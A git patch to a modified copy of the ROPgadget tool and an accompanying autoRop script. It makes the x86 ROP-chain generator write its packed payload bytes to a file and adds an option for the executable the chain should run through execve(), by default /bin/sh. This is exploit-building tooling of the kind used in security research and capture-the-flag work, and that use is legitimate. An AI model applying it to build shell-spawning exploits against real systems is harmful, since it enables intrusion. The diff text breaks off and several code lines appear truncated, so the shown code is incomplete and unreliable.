From e9245580e6e08703e4af6f34bdbcae27b0750928 Mon Sep 17 00:00:00 2001 From: Jack Bond-Preston Date: Fri, 27 Nov 2020 01:18:51 +0000 Subject: [PATCH] ROPgadget now writes to file itself, QOL changes in autoRop --- ROPgadget/ropgadget/args.py | 2 + ROPgadget/ropgadget/core.py | 5 +- .../ropgadget/ropchain/arch/ropmakerx86.py | 128 +++++++++--------- ROPgadget/ropgadget/ropchain/ropmaker.py | 6 +- autoRop.py | 35 +++-- 5 files changed, 97 insertions(+), 79 deletions(-) diff --git a/ROPgadget/ropgadget/args.py b/ROPgadget/ropgadget/args.py index b46f1e0..681ed15 100644 --- a/ROPgadget/ropgadget/args.py +++ b/ROPgadget/ropgadget/args.py @@ -85,6 +85,8 @@ architectures supported: parser.add_argument("--re", type=str, metavar="", help="Regular expression") parser.add_argument("--offset", type=str, metavar="", help="Specify an offset for gadget addresses") parser.add_argument("--paddingLen", type=int, metavar="", default=6, help="Specify the padding length for the ROP chain") + parser.add_argument("--ropFile", type=str, metavar="", default="rop.txt", help="The file to write the generated ROP bytes to") + parser.add_argument("--execPath", type=str, metavar="", default="/bin/sh", help="Path of the executable to make execve() run") parser.add_argument("--ropchain", action="store_true", help="Enable the ROP chain generation") parser.add_argument("--thumb" , action="store_true", help="Use the thumb mode for the search engine (ARM only)") parser.add_argument("--console", action="store_true", help="Use an interactive console for search engine") diff --git a/ROPgadget/ropgadget/core.py b/ROPgadget/ropgadget/core.py index f6f93d6..7486058 100644 --- a/ROPgadget/ropgadget/core.py +++ b/ROPgadget/ropgadget/core.py @@ -215,7 +215,10 @@ class Core(cmd.Cmd): self.__getGadgets() self.__lookingForGadgets() if self.__options.ropchain: - ROPMaker(self.__binary, self.__gadgets, self.__options.paddingLen, self.__offset) + ROPMaker( + self.__binary, self.__gadgets, self.__options.paddingLen, + self.__options.ropFile, self.__options.execPath, self.__offset + ) return True diff --git a/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py b/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py index fde87d8..2046efd 100644 --- a/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py +++ b/ROPgadget/ropgadget/ropchain/arch/ropmakerx86.py @@ -11,13 +11,16 @@ import re from capstone import * from textwrap import wrap import sys +from struct import pack class ROPMakerX86(object): - def __init__(self, binary, gadgets, paddingLen, liboffset=0x0): + def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0): self.__binary = binary self.__gadgets = gadgets self.paddingLen = paddingLen + self.outFile = outFile + self.execPath = execPath # If it's a library, we have the option to add an offset to the addresses self.__liboffset = liboffset @@ -67,14 +70,18 @@ class ROPMakerX86(object): return None def __padding(self, gadget, regAlreadSetted): + p = b"" + lg = gadget["gadget"].split(" ; ") for g in lg[1:]: if g.split()[0] == "pop": reg = g.split()[1] try: - print("p += pack(' 0: command = (4 - (len(command) % 4)) * "/" + command command_chunks = wrap(command, 4) + # write the command address = 0 offset = 0 for i, chunk in enumerate(command_chunks): offset = (i * 4) address = dataAddr + offset - print(f"p += pack(' [edx] - print(f"p += pack('